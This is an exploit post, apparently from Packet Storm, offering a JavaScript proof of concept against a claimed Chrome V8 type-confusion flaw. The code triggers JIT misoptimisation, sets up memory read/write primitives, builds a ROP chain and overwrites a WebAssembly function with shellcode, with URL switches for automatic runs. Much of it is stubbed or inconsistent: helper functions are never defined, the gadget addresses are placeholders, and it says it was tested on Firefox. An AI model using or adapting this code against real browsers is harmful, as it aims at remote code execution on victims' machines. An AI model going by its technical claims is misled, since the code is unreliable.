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## https://sploitus.com/exploit?id=PACKETSTORM:223560
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| # Title : Google Chrome V8 Type Confusion Exploit Payload met Memory Primitives |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://chromereleases.googleblog.com |
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[+] Summary : This JavaScript exploit targets a type confusion vulnerability in the V8 engine of Google Chrome (versions prior to 149.0.7827.103).
It runs inside the browser and attempts to trigger a JIT optimization flaw using repeated object construction patterns.
[+] POC :
(function() {
'use strict';
const CONFIG = {
TRAINING_ITERATIONS: 800,
TRIGGER_ITERATIONS: 1500,
STRONG_TRIGGER_COUNT: 5,
STRESS_CYCLES: 8,
STRESS_DELAY_MS: 700
};
function log(msg, type = 'info') {
const statusEl = document.getElementById('status') || document.body;
const colors = {
info: '#00ccff',
success: '#00ff88',
warning: '#ffaa00',
error: '#ff4444'
};
const timestamp = new Date().toLocaleTimeString();
const logLine = `[${timestamp}] ${msg}`;
if (statusEl) {
const p = document.createElement('div');
p.style.color = colors[type] || colors.info;
p.textContent = logLine;
statusEl.appendChild(p);
}
console.log(logLine);
}
function triggerTypeConfusion() {
try {
let value = 2;
class C extends Function {
['AA'] = value;
}
for (let i = 0; i < CONFIG.TRAINING_ITERATIONS; i++) {
new C("'use strict'");
}
value = 1.1;
for (let i = 0; i < CONFIG.TRIGGER_ITERATIONS; i++) {
new C("'use strict'");
}
return true;
} catch (e) {
log(`Trigger error: ${e.message}`, 'error');
return false;
}
}
function strongTrigger() {
let success = false;
for (let i = 0; i < CONFIG.STRONG_TRIGGER_COUNT; i++) {
log(`Strong trigger run ${i + 1}/${CONFIG.STRONG_TRIGGER_COUNT}...`);
if (triggerTypeConfusion()) {
success = true;
log(`Trigger ${i + 1} successful`, 'success');
}
}
return success;
}
function addrof(obj) {
if (typeof window._addrof === 'function') {
return window._addrof(obj);
}
return null;
}
function fakeobj(addr) {
if (typeof window._fakeobj === 'function') {
return window._fakeobj(addr);
}
return null;
}
function readMemory(addr, size) {
if (typeof window._read === 'function') {
return window._read(addr, size);
}
return null;
}
function writeMemory(addr, data) {
if (typeof window._write === 'function') {
return window._write(addr, data);
}
return false;
}
function setupPrimitives() {
log("Setting up memory primitives...");
try {
const ab = new ArrayBuffer(0x1000);
const dv = new DataView(ab);
if (typeof window.corruptBackingStore === 'function') {
window.corruptBackingStore(dv);
return {
dataView: dv,
read: (addr, size) => {
return readMemory(addr, size);
},
write: (addr, data) => {
return writeMemory(addr, data);
}
};
}
} catch (e) {
log(`Failed to setup primitives: ${e}`, 'error');
}
return null;
}
function findChromeBase() {
const dummy = {};
const addr = addrof(dummy);
if (addr) {
log(`Found object address: 0x${addr.toString(16)}`);
const base = addr & ~0xFFFFFFFF;
log(`Chrome base candidate: 0x${base.toString(16)}`);
return base;
}
return null;
}
function buildROPChain(shellcodeAddr) {
const gadgets = {
pop_rax: 0x414141414141,
pop_rcx: 0x424242424242,
pop_rdx: 0x434343434343,
pop_rsi: 0x444444444444,
pop_rdi: 0x454545454545,
syscall: 0x464646464646,
virtual_protect: 0x474747474747
};
const chain = [
gadgets.pop_rax, 0x50,
gadgets.pop_rcx, shellcodeAddr,
gadgets.pop_rdx, 0x1000,
gadgets.pop_rsi, 0x40,
gadgets.pop_rdi, 0,
gadgets.syscall
];
return new Uint8Array(new Uint32Array(chain).buffer);
}
function executeShellcode(shellcode) {
log("Attempting to execute shellcode...");
try {
const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,2,1,0,10,4,1,0,11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
const wasmFunc = wasmInstance.exports.main;
// Overwrite wasm function with shellcode
const funcAddr = addrof(wasmFunc);
if (funcAddr) {
writeMemory(funcAddr + 0x10, shellcode);
wasmFunc();
log("Shellcode executed!", "success");
return true;
}
} catch (e) {
log(`Shellcode execution failed: ${e}`, 'error');
}
return false;
}
async function exploit() {
log("Starting CVE-2026-11645 exploit...");
log(`Target: Chrome < 149.0.7827.103`);
const ua = navigator.userAgent;
const chromeMatch = ua.match(/Chrome\/(\d+)/);
if (chromeMatch) {
const version = parseInt(chromeMatch[1]);
log(`Detected Chrome version: ${version}`);
if (version >= 149) {
log("Browser appears patched", "warning");
} else {
log("Browser appears vulnerable", "success");
}
}
log("Triggering type confusion...");
if (!strongTrigger()) {
log("Failed to trigger type confusion", "error");
return false;
}
log("Type confusion triggered successfully!", "success");
const primitives = setupPrimitives();
if (!primitives) {
log("Failed to setup memory primitives", "error");
return false;
}
log("Memory primitives ready", "success");
const chromeBase = findChromeBase();
if (!chromeBase) {
log("Failed to find Chrome base", "warning");
}
log("Ready for payload execution");
return true;
}
function autoStressTest() {
log(`Starting auto stress test (${CONFIG.STRESS_CYCLES} cycles)...`);
let cycleCount = 0;
const interval = setInterval(() => {
cycleCount++;
log(`Stress cycle ${cycleCount}/${CONFIG.STRESS_CYCLES}`);
exploit();
if (cycleCount >= CONFIG.STRESS_CYCLES) {
clearInterval(interval);
log("Auto stress test completed");
}
}, CONFIG.STRESS_DELAY_MS);
return interval;
}
window.CVE_2026_11645 = {
exploit,
autoStressTest,
trigger: triggerTypeConfusion,
strongTrigger
};
if (window.location.search.includes('auto=true')) {
setTimeout(() => autoStressTest(), 1000);
} else if (window.location.search.includes('exploit=true')) {
setTimeout(() => exploit(), 1000);
} else {
log("CVE-2026-11645 Exploit Ready", "success");
log("Use ?auto=true for auto-stress or ?exploit=true for single exploit", "info");
}
})();
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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